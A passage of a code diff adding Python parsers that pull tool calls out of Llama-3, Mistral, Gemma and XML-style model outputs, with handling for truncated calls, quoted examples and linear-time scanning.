+        # The call ends at the FIRST </function> / </tool_call> not inside an open
+        # parameter: a literal close in a code/search argument is skipped as data, and
+        # prose after the real close isn't folded into the last argument (mirrors
+        # _strip_function_xml_calls and tool_healing._func_close_index).
+        close_match = None
+        for cm in _TC_END_TAG_RE.finditer(content, body_start, next_func):
+            if not _inside_open_parameter(content, cm.start()):
+                close_match = cm
+                break
+        has_close = close_match is not None
+        if has_close:
+            body_end = close_match.start()
+        else:
+            body_end = min(len(content), next_func)
+        # Strict mode: an unclosed function call is truncated -- do not heal it.
+        if not allow_incomplete and not has_close:
+            continue
+        body = _TC_FUNC_CLOSE_RE.sub("", content[body_start:body_end])
+
+        args: dict = {}
+        param_unclosed = False
+        # A ``<parameter>`` opener inside an open parameter value is literal text.
+        param_starts = [
+            pm
+            for pm in _TC_PARAM_START_RE.finditer(body)
+            if not _inside_open_parameter(body, pm.start())
+        ]
+        if len(param_starts) == 1:
+            pm = param_starts[0]
+            raw_val = body[pm.end() :]
+            if not _TC_PARAM_CLOSE_RE.search(raw_val):
+                param_unclosed = True
+            val = _TC_PARAM_CLOSE_RE.sub("", raw_val)
+            args[pm.group(1) or pm.group(2)] = _trim_param_value(val)
+        else:
+            for pidx, pm in enumerate(param_starts):
+                val_start = pm.end()
+                next_param = (
+                    param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body)
+                )
+                raw_val = body[val_start:next_param]
+                if not _TC_PARAM_CLOSE_RE.search(raw_val):
+                    param_unclosed = True
+                val = _TC_PARAM_CLOSE_RE.sub("", raw_val)
+                args[pm.group(1) or pm.group(2)] = _trim_param_value(val)
+
+        # Strict mode: a dangling parameter means the call was cut off; a closed
+        # zero-parameter call stays valid.
+        if not allow_incomplete and param_unclosed:
+            continue
+
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": func_name, "arguments": json.dumps(args)},
+            }
+        )
+    return out
+
+
+def _llama3_kv_value(body: str, p: int, n: int) -> tuple[Any, int | None]:
+    """One ``.call`` value (string/number/true/false/null) at ``body[p:]``.
+    Returns ``(value, consumed_len)`` or ``(None, None)`` if none matches."""
+    if p >= n:
+        return None, None
+    if body[p] == '"':
+        # ``"((?:\\.|[^"\\])*)"`` by hand so an unterminated quote is O(n), not O(n^2).
+        j = p + 1
+        while j < n:
+            c = body[j]
+            if c == "\\":
+                # ``\\.`` needs a following non-newline char; else the body can't match.
+                if j + 1 >= n or body[j + 1] == "\n":
+                    return None, None
+                j += 2
+                continue
+            if c == '"':
+                raw = body[p + 1 : j]
+                # json.loads keeps \n/\uXXXX escapes and literal UTF-8 (emoji/CJK) intact.
+                try:
+                    return json.loads('"' + raw + '"'), j + 1 - p
+                except (json.JSONDecodeError, ValueError):
+                    return raw, j + 1 - p
+            j += 1
+        return None, None  # unterminated
+    nm = _LLAMA3_NUM_RE.match(body, p)
+    if nm:
+        v = nm.group(0)
+        # Scientific notation (1e-3, -2E+4, 0.5e2) and decimals decode as float; a bare
+        # integer stays int. ``"." in v`` alone missed the exponent forms (1e-3 -> 1).
+        return (float(v) if any(c in v for c in ".eE") else int(v)), nm.end() - p
+    lm = _LLAMA3_LIT_RE.match(body, p)
+    if lm:
+        return {"true": True, "false": False, "null": None}[lm.group(0)], lm.end() - p
+    return None, None
+
+
+def _parse_llama3_kv_args(body: str) -> dict[str, Any]:
+    """``k=v, ...`` kwargs from a ``.call(...)`` body, left to right (later keys win).
+    Linear hand-scan replacing the quadratic ``_LLAMA3_KV_RE.finditer`` walk."""
+    args: dict[str, Any] = {}
+    n = len(body)
+    i = 0
+    while i < n:
+        km = _LLAMA3_KEY_RE.match(body, i)
+        if km is None:
+            i += 1
+            continue
+        p = _LLAMA3_WS_RE.match(body, km.end()).end()
+        if p >= n or body[p] != "=":
+            i = km.end()
+            continue
+        p = _LLAMA3_WS_RE.match(body, p + 1).end()
+        val, length = _llama3_kv_value(body, p, n)
+        if length is None:
+            i = km.end()
+            continue
+        args[km.group(0)] = val
+        i = p + length
+    return args
+
+
+def _parse_llama3_python_tag(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse the Llama-3 emissions: ``<|python_tag|>NAME.call(...)`` (built-in),
+    ``<|python_tag|>{"name":..., "parameters":...}`` (custom), multi-call via
+    ``; ``, ``parameters`` or ``arguments`` key."""
+    out: list[dict] = []
+    if _LLAMA3_PYTHON_TAG not in content:
+        return out
+
+    # 1. ``NAME.call(...)`` built-in form, anchored to ``<|python_tag|>`` and optionally
+    #    ``; ``-chained within one emission. Anchoring to the tag boundary (not a free scan)
+    #    keeps a literal ``<|python_tag|>x.call(...)`` quoted in a custom-form JSON argument
+    #    from being mistaken for a real built-in call.
+    pos = content.find(_LLAMA3_PYTHON_TAG)
+    truncated = False
+    while pos >= 0 and not truncated:
+        head = _LLAMA3_PY_CALL_HEAD_RE.match(content, pos + len(_LLAMA3_PYTHON_TAG))
+        if head is None:
+            # Tag is the custom JSON form (``{...}``) or noise -- leave it to step 2.
+            break
+        name = head.group(1)
+        open_idx = head.end()
+        i = open_idx
+        while True:
+            i = open_idx
+            depth = 1
+            in_string = False
+            esc = False
+            while i < len(content) and depth > 0:
+                ch = content[i]
+                if in_string:
+                    if esc:
+                        esc = False
+                    elif ch == "\\":
+                        esc = True
+                    elif ch == '"':
+                        in_string = False
+                else:
+                    if ch == '"':
+                        in_string = True
+                    elif ch == "(":
+                        depth += 1
+                    elif ch == ")":
+                        depth -= 1
+                        if depth == 0:
+                            break
+                i += 1
+            # Truncated ``.call(...)`` with no closing paren: reject in strict mode
+            # instead of executing a partial.
+            if not allow_incomplete and depth > 0:
+                truncated = True
+                break
+            body = content[open_idx:i]
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(_parse_llama3_kv_args(body)),
+                    },
+                }
+            )
+            # ``)`` then optional ``; NAME.call(`` chains the next built-in call.
+            chain = _LLAMA3_CALL_CHAIN_RE.match(content, i + 1)
+            if chain is None:
+                break
+            name = chain.group(1)
+            open_idx = chain.end()
+        # Past the consumed region: a second ``<|python_tag|>`` may carry more calls.
+        pos = content.find(_LLAMA3_PYTHON_TAG, i + 1)
+
+    # 2. ``<|python_tag|>{"name":..., "parameters":...}``. ``raw_decode`` peels multiple
+    #    ``; ``-separated objects from one emission.
+    if not out:
+        decoder = json.JSONDecoder()
+        idx = content.find(_LLAMA3_PYTHON_TAG)
+        while idx >= 0:
+            search_from = idx + len(_LLAMA3_PYTHON_TAG)
+            cursor = search_from
+            while cursor < len(content):
+                brace = content.find("{", cursor)
+                if brace < 0:
+                    break
+                # Stop at the next ``<|python_tag|>``.
+                next_tag = content.find(_LLAMA3_PYTHON_TAG, search_from, brace)
+                if next_tag >= 0:
+                    break
+                try:
+                    obj, end_offset = decoder.raw_decode(content[brace:])
+                except (json.JSONDecodeError, ValueError):
+                    cursor = brace + 1
                     continue
-                if ch == '"':
-                    in_string = False
+                if not isinstance(obj, dict):
+                    cursor = brace + end_offset
+                    continue
+                name = obj.get("name") or obj.get("function") or ""
+                args = obj.get("parameters") if "parameters" in obj else obj.get("arguments", {})
+                # Skip rather than fabricate ``{"value": args}`` for a non-dict/non-string value.
+                if isinstance(args, dict):
+                    args_str = json.dumps(args)
+                elif isinstance(args, str):
+                    args_str = args
+                else:
+                    cursor = brace + end_offset
+                    continue
+                if name:
+                    out.append(
+                        {
+                            "id": f"call_{id_offset + len(out)}",
+                            "type": "function",
+                            "function": {"name": name, "arguments": args_str},
+                        }
+                    )
+                cursor = brace + end_offset
+            idx = content.find(_LLAMA3_PYTHON_TAG, cursor)
+    return out
+
+
+# Llama-3 special-token sentinels (chainable, any order) plus the role label the
+# template inserts between ``<|start_header_id|>`` and ``<|end_header_id|>``.
+_LLAMA3_BARE_JSON_SENTINELS = (
+    "<|begin_of_text|>",
+    "<|eot_id|>",
+    "<|start_header_id|>",
+    "<|end_header_id|>",
+    "<|eom_id|>",
+)
+_LLAMA3_HEADER_ROLES = ("assistant", "user", "system", "tool", "ipython")
+
+
+def strip_llama3_leading_sentinels(content: str) -> str:
+    """Strip leading Llama-3 special-token sentinels (and the role label after
+    ``<|start_header_id|>``) that can leak from a prior turn before a bare-JSON tool
+    call. Shared by the parser and the streaming buffering guards so a
+    sentinel-prefixed ``{"name":...}`` is recognised the same everywhere."""
+    stripped = content.lstrip()
+    while True:
+        stripped = stripped.lstrip()
+        matched = False
+        for sentinel in _LLAMA3_BARE_JSON_SENTINELS:
+            if stripped.startswith(sentinel):
+                stripped = stripped[len(sentinel) :]
+                if sentinel == "<|start_header_id|>":
+                    for role in _LLAMA3_HEADER_ROLES:
+                        if stripped.startswith(role):
+                            stripped = stripped[len(role) :]
+                            break
+                matched = True
+                break
+        if not matched:
+            return stripped
+
+
+def _parse_llama3_bare_json(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Llama-3.2 ``custom_tools`` bare ``{"name":.., "parameters":{..}}`` (no ``<|python_tag|>``),
+    strict so prose/echoes don't fire. ``enabled_tool_names`` gates on the parsed name so an
+    ordinary JSON answer isn't misread as a call to a disabled tool; ``None`` is name-agnostic."""
+    out: list[dict] = []
+    stripped = strip_llama3_leading_sentinels(content)
+    if not stripped.startswith("{"):
+        return out
+
+    decoder = json.JSONDecoder()
+    cursor = 0
+    n = len(stripped)
+    while cursor < n:
+        # Skip whitespace and the Llama-3 ``;`` inter-call separator.
+        while cursor < n and stripped[cursor] in " \t\n\r;":
+            cursor += 1
+        if cursor >= n or stripped[cursor] != "{":
+            break
+        try:
+            obj, end_offset = decoder.raw_decode(stripped[cursor:])
+        except (json.JSONDecodeError, ValueError):
+            break
+        if not isinstance(obj, dict):
+            break
+        name = obj.get("name") or obj.get("function") or ""
+        if not isinstance(name, str) or not name:
+            break
+        # Markerless JSON is ambiguous: treat it as a call only when the name is an enabled
+        # tool, else it is an ordinary JSON answer.
+        if enabled_tool_names is not None and name not in enabled_tool_names:
+            break
+        # ``parameters`` must be a dict (Llama-3 spec); ``arguments`` may be a dict or
+        # JSON-string of one (OpenAI). Looser would fire on ``{"name":"x","parameters":"sentence"}``.
+        if "parameters" in obj:
+            args = obj.get("parameters")
+            if not isinstance(args, dict):
+                break
+            args_str = json.dumps(args)
+        elif "arguments" in obj:
+            args = obj.get("arguments")
+            if isinstance(args, dict):
+                args_str = json.dumps(args)
+            elif isinstance(args, str):
+                try:
+                    parsed = json.loads(args)
+                except (json.JSONDecodeError, ValueError):
+                    break
+                if not isinstance(parsed, dict):
+                    break
+                args_str = args
+            else:
+                break
+        else:
+            break
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": args_str},
+            }
+        )
+        cursor += end_offset
+    return out
+
+
+def _parse_mistral_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse all Mistral emissions: pre-v11 ``[TOOL_CALLS][...]`` / ``[TOOL_CALLS]{...}``
+    and v11+ ``[TOOL_CALLS]name{json}`` / ``[TOOL_CALLS]name[ARGS]{json}``."""
+    out: list[dict] = []
+    content = _strip_mistral_reasoning(content)
+    idx = content.find(_MISTRAL_TRIGGER)
+    if idx < 0:
+        return out
+
+    # Disambiguate the first occurrence: array / single object (pre-v11), or bare-name (v11+).
+    j = idx + len(_MISTRAL_TRIGGER)
+    k = j
+    while k < len(content) and content[k] in " \t\n\r":
+        k += 1
+    if k >= len(content):
+        return out
+
+    if content[k] == "[":
+        return _parse_mistral_array(content, k, id_offset, allow_incomplete = allow_incomplete)
+
+    if content[k] == "{":
+        # Pre-v11 single ``{"name":...}``; fall through without a ``name`` so v11+ still runs.
+        end = _balanced_brace_end(content, k)
+        if end is not None:
+            try:
+                obj = json.loads(content[k : end + 1])
+                if isinstance(obj, dict) and obj.get("name"):
+                    _consume_mistral_call(content[k : end + 1], out, id_offset)
+                    return out
+            except (json.JSONDecodeError, ValueError):
+                pass
+
+    # v11+: walk every ``[TOOL_CALLS]``, parsing ``name{json}`` or
+    # ``name[ARGS]{json}`` after each trigger.
+    pos = idx
+    while pos >= 0:
+        cur = pos + len(_MISTRAL_TRIGGER)
+        nm = _MISTRAL_V11_NAME_RE.match(content, cur)
+        if not nm:
+            pos = content.find(_MISTRAL_TRIGGER, cur)
+            continue
+        name = nm.group(1)
+        after_name = nm.end()
+        after_name = _skip_mistral_call_id(content, after_name)
+        if content.startswith(_MISTRAL_ARGS_MARKER, after_name):
+            after_name += len(_MISTRAL_ARGS_MARKER)
+        while after_name < len(content) and content[after_name] in " \t\n\r":
+            after_name += 1
+        if after_name >= len(content) or content[after_name] != "{":
+            pos = content.find(_MISTRAL_TRIGGER, cur)
+            continue
+        end = _balanced_brace_end(content, after_name)
+        if end is None:
+            break
+        try:
+            args = json.loads(content[after_name : end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = content.find(_MISTRAL_TRIGGER, end + 1)
+            continue
+        if not isinstance(args, dict):
+            pos = content.find(_MISTRAL_TRIGGER, end + 1)
+            continue
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {
+                    "name": name,
+                    "arguments": json.dumps(args),
+                },
+            }
+        )
+        pos = content.find(_MISTRAL_TRIGGER, end + 1)
+    return out
+
+
+def _parse_mistral_array(
+    content: str,
+    start: int,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Pre-v11 ``[TOOL_CALLS] [{...}, ...]`` array form."""
+    out: list[dict] = []
+    j = start
+    depth = 0
+    in_string = False
+    esc = False
+    while j < len(content):
+        ch = content[j]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
             elif ch == '"':
+                in_string = False
+        else:
+            if ch == '"':
+                in_string = True
+            elif ch == "[":
+                depth += 1
+            elif ch == "]":
+                depth -= 1
+                if depth == 0:
+                    break
+        j += 1
+    # An unclosed array (no matching ]) is a truncated call. In strict mode reject it
+    # instead of recovering objects by hand below.
+    if not allow_incomplete and depth != 0:
+        return out
+    body = content[start : j + 1] if depth == 0 else content[start:]
+
+    try:
+        arr = json.loads(body)
+        if isinstance(arr, list):
+            for obj in arr:
+                if isinstance(obj, dict):
+                    _consume_mistral_call(json.dumps(obj), out, id_offset)
+        return out
+    except (json.JSONDecodeError, ValueError):
+        if not allow_incomplete:
+            return out
+
+    # Healing path for unclosed arrays: walk top-level objects, advancing past each balanced
+    # ``{...}`` instead of re-scanning from every ``{`` (quadratic ReDoS).
+    pos = 0
+    blen = len(body)
+    while pos < blen:
+        brace = body.find("{", pos)
+        if brace < 0:
+            break
+        end = _balanced_brace_end(body, brace)
+        if end is None:
+            break  # truncated mid-object: nothing after it can balance
+        _consume_mistral_call(body[brace : end + 1], out, id_offset)
+        pos = end + 1
+    return out
+
+
+def _consume_mistral_call(obj_text: str, out: list[dict], id_offset: int) -> None:
+    try:
+        obj = json.loads(obj_text)
+    except (json.JSONDecodeError, ValueError):
+        return
+    if not isinstance(obj, dict):
+        return
+    name = obj.get("name") or ""
+    # Mistral uses ``arguments``; accept the ``parameters`` alias too (sibling paths and
+    # SGLang's base detector alias it) so an array object keyed on it keeps args.
+    args = obj.get("arguments")
+    if args is None:
+        args = obj.get("parameters", {})
+    if isinstance(args, dict):
+        args_str = json.dumps(args)
+    elif isinstance(args, str):
+        args_str = args
+    else:
+        args_str = json.dumps({"value": args})
+    if name:
+        out.append(
+            {
+                "id": obj.get("id") or f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": args_str},
+            }
+        )
+
+
+def _whole_content_is_json_value(text: str) -> bool:
+    """True when the entire content is one valid JSON value (a structured
+    answer, e.g. a response_format turn). Markerless scans must treat text
+    inside it as data: an answer documenting an enabled tool's syntax must
+    not execute that tool or have the example stripped from display."""
+    t = text.strip()
+    if t[:1] not in "{[":
+        return False
+    try:
+        json.loads(t)
+    except ValueError:
+        return False
+    return True
+
+
+def _leading_json_value_end(text: str) -> int | None:
+    """End index (exclusive) of a balanced LEADING JSON value that parses as
+    JSON: a structured answer possibly followed by prose. Markerless scans treat
+    its contents as data (extends ``_whole_content_is_json_value``); leading-keyed,
+    so a JSON blob mid-prose is not an answer span."""
+    i = 0
+    n = len(text)
+    while i < n and text[i].isspace():
+        i += 1
+    if i >= n or text[i] not in "{[":
+        return None
+    end = (_balanced_brace_end if text[i] == "{" else _balanced_bracket_end)(text, i)
+    if end is None:
+        return None
+    try:
+        json.loads(text[i : end + 1])
+    except ValueError:
+        return None
+    return end + 1
+
+
+def _parse_gemma_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Gemma 4: ``<|tool_call>call:NAME{k:<|"|>v<|"|>, ...}<tool_call|>``, plus the
+    ``skip_special_tokens`` stream where the wrapper and string markers were
+    stripped (bare ``call:NAME{k:v, ...}``).
+
+    ``enabled_tool_names`` gates on the parsed name: the wrapper-less shape is
+    indistinguishable from prose documenting the syntax, so a disabled/example
+    name must not be stolen as a call. ``None`` keeps the name-agnostic behaviour."""
+    out: list[dict] = []
+    # The WRAPPED form (strict + nested-marker handling) is tool_healing's, which runs
+    # first: defer content with a wrapped opener. A marker literal alone is not enough --
+    # a wrapper-less call mentioning ``<|tool_call>`` would be lost if deferred.
+    if _GEMMA_TC_RE.search(content):
+        return out
+    # A whole-content JSON value is a structured answer: quoted examples must not become calls.
+    if _whole_content_is_json_value(content):
+        return out
+    # Manual cursor: resume AFTER each consumed balanced body so a nested ``call:OTHER{...}``
+    # in an argument is never re-matched. A leading JSON answer's span is data -- scan after it.
+    cursor = _leading_json_value_end(content) or 0
+    while True:
+        m = _GEMMA_BARE_TC_RE.search(content, cursor)
+        if m is None:
+            break
+        name = m.group(1)
+        body_start = m.end() - 1
+        end = _gemma_body_brace_end(content, body_start)
+        if end is None:
+            # Unclosed call: nothing parseable follows (mirrors the strip contract);
+            # scanning on would promote quoted argument text.
+            break
+        cursor = end + 1
+        # Markerless: a disabled/example name is prose, not a call.
+        if enabled_tool_names is not None and name not in enabled_tool_names:
+            continue
+        body = content[body_start + 1 : end]
+        try:
+            args = _gemma_parse_stripped_body(body)
+        except Exception:
+            args = {}
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": json.dumps(args)},
+            }
+        )
+    return out
+
+
+def _balanced_brace_end(text: str, brace_pos: int) -> int | None:
+    """Index of the ``}`` matching ``{`` at ``brace_pos`` (ignores braces in JSON strings)."""
+    if brace_pos >= len(text) or text[brace_pos] != "{":
+        return None
+    depth = 0
+    in_string = False
+    esc = False
+    i = brace_pos
+    while i < len(text):
+        ch = text[i]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+        else:
+            if ch == '"':
                 in_string = True
             elif ch == "{":
                 depth += 1
             elif ch == "}":
                 depth -= 1
                 if depth == 0:
-                    break
+                    return i
+        i += 1
+    return None
+
+
+def _gemma_body_brace_end(text: str, brace_pos: int) -> int | None:
+    """Index of the ``}`` closing the wrapper-less Gemma body at ``brace_pos``.
+
+    Values are raw after ``skip_special_tokens``, so quoted strings (single or
+    double) hide braces; the quote rules mirror ``_gemma_parse_stripped_body`` so
+    the boundary always agrees with the body parser. Contextual openers: a single
+    quote opens only at value-start context (after ``:{[(,=`` -- apostrophes in
+    ``what's the weather`` are prose), a double quote also at word start (so
+    ``query:find "a, b"`` hides its delimiters)."""
+    if brace_pos >= len(text) or text[brace_pos] != "{":
+        return None
+    depth = 0
+    quote = ""
+    prev = ""
+    prev_raw = ""
+    i = brace_pos
+    n = len(text)
+    while i < n:
+        ch = text[i]
+        if quote:
+            if ch == "\\" and i + 1 < n:
+                i += 2
+                continue
+            if ch == quote:
+                quote = ""
+        elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+            quote = ch
+        elif ch == "{":
+            depth += 1
+        elif ch == "}":
+            depth -= 1
+            if depth == 0:
+                return i
+        if not ch.isspace():
+            prev = ch
+        prev_raw = ch
+        i += 1
+    return None
+
+
+_BARE_JSON_NAME_RE = re.compile(r'"name"\s*:\s*"([^"]+)"')
+
+
+def _top_level_bare_json_name(probe: str) -> Optional[str]:
+    """TOP-LEVEL ``"name"`` (or ``"function"`` alias, name wins) of a bare-JSON object, else None.
+
+    Skips nested objects/arrays so a nested ``"name"`` isn't mistaken for the call name; a
+    truncated tail returns None so the caller keeps the text."""
+    if not probe.startswith("{"):
+        return None
+    decoder = json.JSONDecoder()
+    function_value = None  # the ``"function"`` alias, used only if no ``"name"`` key
+    i = 1
+    n = len(probe)
+    while i < n:
+        while i < n and probe[i] in " \t\r\n,":
             i += 1
-        if depth != 0:
+        if i >= n or probe[i] == "}":
+            # End of the object with no top-level ``"name"``: fall back to a recorded ``"function"`` alias.
+            return function_value
+        if probe[i] != '"':
+            return None
+        try:
+            key, consumed = decoder.raw_decode(probe[i:])
+        except (json.JSONDecodeError, ValueError):
+            return None
+        if not isinstance(key, str):
+            return None
+        i += consumed
+        while i < n and probe[i] in " \t\r\n":
+            i += 1
+        if i >= n or probe[i] != ":":
+            return None
+        i += 1
+        while i < n and probe[i] in " \t\r\n":
+            i += 1
+        if key == "name":
+            if i < n and probe[i] == '"':
+                try:
+                    value, _consumed = decoder.raw_decode(probe[i:])
+                except (json.JSONDecodeError, ValueError):
+                    return None
+                return value if isinstance(value, str) else None
+            return None
+        if key == "function" and function_value is None and i < n and probe[i] == '"':
+            # ``"function"`` aliases the call name. Record it but keep scanning: a top-level
+            # ``"name"`` still wins.
+            try:
+                value, consumed = decoder.raw_decode(probe[i:])
+            except (json.JSONDecodeError, ValueError):
+                return None
+            if isinstance(value, str):
+                function_value = value
+            i += consumed
+            continue
+        # Skip a non-name top-level value; a truncated one can't prove a top-level name
+        # exists, so return None (keep the text).
+        if i < n and probe[i] == "{":
+            end = _balanced_brace_end(probe, i)
+            if end is None:
+                return None
+            i = end + 1
+        elif i < n and probe[i] == "[":
+            end = _balanced_bracket_end(probe, i)
+            if end is None:
+                return None
+            i = end + 1
+        else:
+            try:
+                _value, consumed = decoder.raw_decode(probe[i:])
+            except (json.JSONDecodeError, ValueError):
+                return None
+            i += consumed
+    # No top-level ``"name"`` key: fall back to the ``"function"`` alias if seen.
+    return function_value
+
+
+def strip_leading_bare_json_call(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    """Remove leading Llama-3.2 bare-JSON calls (including a ``;``-chained run)
+    that ``strip_tool_markup`` misses; non-call text is unchanged and
+    ``enabled_tool_names`` gates like the parser. Consuming the whole chain
+    matters because the loops keep this text as next-turn assistant history: a
+    leftover executed call would be replayed alongside the structured
+    ``tool_calls``."""
+    remainder = text
+    stripped_any = False
+    while True:
+        probe = strip_llama3_leading_sentinels(remainder.lstrip())
+        # Skip the Llama-3 ``;`` inter-call separator between chained calls.
+        if stripped_any:
+            probe = probe.lstrip(" \t\n\r;")
+        if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
+            return probe.lstrip() if stripped_any else text
+        if enabled_tool_names is not None:
+            # Only suppress when the leading object's TOP-LEVEL name is an enabled tool. A
+            # nested ``"name"`` (e.g. {"result":{"name":"web_search",...}}) is data, not the
+            # call name, so it must not gate the strip. An un-extractable name is kept.
+            name = _top_level_bare_json_name(probe)
+            if name not in enabled_tool_names:
+                return probe.lstrip() if stripped_any else text
+        end = _balanced_brace_end(probe, 0)
+        if end is None:
+            return ""  # truncated bare-JSON call -- nothing recoverable
+        # A closed object must have the CALL SHAPE the parser accepts (dict ``parameters``,
+        # or dict / JSON-string ``arguments``). An ordinary JSON answer like
+        # {"name":"web_search","result":"no call"} is content, so the strip keeps it visible.
+        try:
+            obj = json.loads(probe[: end + 1])
+        except (json.JSONDecodeError, ValueError):
+            return probe.lstrip() if stripped_any else text
+        if not _bare_json_call_shaped(obj):
+            return probe.lstrip() if stripped_any else text
+        remainder = probe[end + 1 :]
+        stripped_any = True
+
+
+def _bare_json_call_shaped(obj) -> bool:
+    """The shape gate ``_parse_llama3_bare_json`` applies to a decoded object."""
+    if not isinstance(obj, dict):
+        return False
+    # The parser requires a TOP-LEVEL name; a nested one (e.g. in a "result" value of an
+    # ordinary JSON answer) is data, and stripping it name-agnostically would delete content.
+    name = obj.get("name") or obj.get("function") or ""
+    if not isinstance(name, str) or not name:
+        return False
+    if "parameters" in obj:
+        return isinstance(obj.get("parameters"), dict)
+    args = obj.get("arguments")
+    if isinstance(args, dict):
+        return True
+    if isinstance(args, str):
+        try:
+            return isinstance(json.loads(args), dict)
+        except (json.JSONDecodeError, ValueError):
+            return False
+    return False
+
+
+def _gemma_balanced_brace_end(text: str, brace_pos: int, hard_stop: int) -> int | None:
+    """Like ``_balanced_brace_end`` but skips ``<|"|>`` strings and matches {}/[] symmetrically."""
+    if brace_pos >= len(text) or text[brace_pos] != "{":
+        return None
+    depth = 0
+    i = brace_pos
+    while i < hard_stop:
+        if text.startswith(_GEMMA_STR_BEGIN, i):
+            close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+            if close < 0:
+                return None
+            i = close + len(_GEMMA_STR_END)
+            continue
+        ch = text[i]
+        if ch == "{" or ch == "[":
+            depth += 1
+        elif ch == "}" or ch == "]":
+            depth -= 1
+            if depth == 0:
+                return i
+        i += 1
+    return None
+
+
+def _gemma_parse_value(
+    text: str,
+    i: int,
+    *,
+    in_mapping: bool = False,
+):
+    """Parse one Gemma arg value at ``i`` in a single O(n) forward pass; returns
+    ``(value, next_index, closed)``. ``closed`` is False when a string/object/array
+    runs off the end without its terminator, so the caller can fall back to raw.
+    ``in_mapping`` applies the top-level rule that a comma only ends the value
+    when a ``key:`` follows (array elements split on every top-level comma)."""
+    if text.startswith(_GEMMA_STR_BEGIN, i):
+        close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+        if close < 0:
+            return text[i + len(_GEMMA_STR_BEGIN) :], len(text), False
+        return text[i + len(_GEMMA_STR_BEGIN) : close], close + len(_GEMMA_STR_END), True
+    if text[i] == "{":
+        return _gemma_parse_mapping(text, i)
+    if text[i] == "[":
+        return _gemma_parse_array(text, i)
+    if text[i] in "\"'":
+        # Raw-quoted string: delimiters inside are data (``{city:"New, York"}`` is one
+        # value); returned unquoted like the top-level scalar coercion.
+        quote = text[i]
+        j = i + 1
+        n = len(text)
+        while j < n:
+            if text[j] == "\\" and j + 1 < n:
+                j += 2
+                continue
+            if text[j] == quote:
+                return text[i + 1 : j], j + 1, True
+            j += 1
+        return text[i + 1 :], n, False
+    # Primitive / unquoted code: same delimiter rules as the top-level scan (bracket depth
+    # + contextual quote openers hide commas and closers).
+    end = i
+    n = len(text)
+    depth = 0
+    quote = ""
+    prev = ":"
+    prev_raw = ":"
+    while end < n and not text.startswith(_GEMMA_STR_BEGIN, end):
+        ch = text[end]
+        if quote:
+            if ch == "\\" and end + 1 < n:
+                end += 2
+                continue
+            if ch == quote:
+                quote = ""
+        elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+            quote = ch
+        elif ch in "{[(":
+            depth += 1
+        elif ch in "}])":
+            if depth == 0:
+                break
+            depth -= 1
+        elif ch == "," and depth == 0:
+            if not in_mapping or _GEMMA_KEY_RE.match(text, end + 1):
+                break
+        if not ch.isspace():
+            prev = ch
+        prev_raw = ch
+        end += 1
+    if end == i:
+        # Stray delimiter where a value was expected: consume one char so callers always
+        # advance (no infinite loop on malformed input).
+        return "", i + 1, True
+    raw = text[i:end].strip()
+    if raw == "true":
+        return True, end, True
+    if raw == "false":
+        return False, end, True
+    if raw == "null":
+        return None, end, True
+    try:
+        return int(raw), end, True
+    except ValueError:
+        pass
+    try:
+        return float(raw), end, True
+    except ValueError:
+        pass
+    return raw, end, True
+
+
+def _gemma_parse_array(text: str, start: int):
+    """Parse a Gemma ``[...]`` array at ``text[start] == '['`` in one forward
+    pass; returns ``(list, next_index, closed)``."""
+    items: list[Any] = []
+    i, n = start + 1, len(text)
+    while i < n:
+        while i < n and text[i] in " \t\n\r,":
+            i += 1
+        if i < n and text[i] == "]":
+            return items, i + 1, True
+        if i >= n:
+            break
+        v, i, _closed = _gemma_parse_value(text, i)
+        items.append(v)
+    return items, i, False
+
+
+def _gemma_coerce_scalar(raw: str) -> Any:
+    """Coerce an unquoted Gemma value to bool/int/float/None, else keep str
+    (quotes stripped first so quoted/unquoted variants compare identical)."""
+    raw = raw.strip()
+    if len(raw) >= 2 and raw[0] == raw[-1] and raw[0] in "\"'":
+        return raw[1:-1]
+    if raw == "true":
+        return True
+    if raw == "false":
+        return False
+    if raw == "null":
+        return None
+    try:
+        return int(raw)
+    except ValueError:
+        pass
+    try:
+        return float(raw)
+    except ValueError:
+        pass
+    return raw
+
+
+def _gemma_strip_quoted_leaves(value: Any) -> Any:
+    """Recursively unquote quoted string leaves of a nested stripped-stream value,
+    so nested ``city:"New York"`` matches the top-level coercion (no stray quotes)."""
+    if isinstance(value, str):
+        v = value.strip()
+        if len(v) >= 2 and v[0] == v[-1] and v[0] in "\"'":
+            return v[1:-1]
+        return value
+    if isinstance(value, dict):
+        return {k: _gemma_strip_quoted_leaves(v) for k, v in value.items()}
+    if isinstance(value, list):
+        return [_gemma_strip_quoted_leaves(v) for v in value]
+    return value
+
+
+def _gemma_parse_stripped_body(body: str) -> dict[str, Any]:
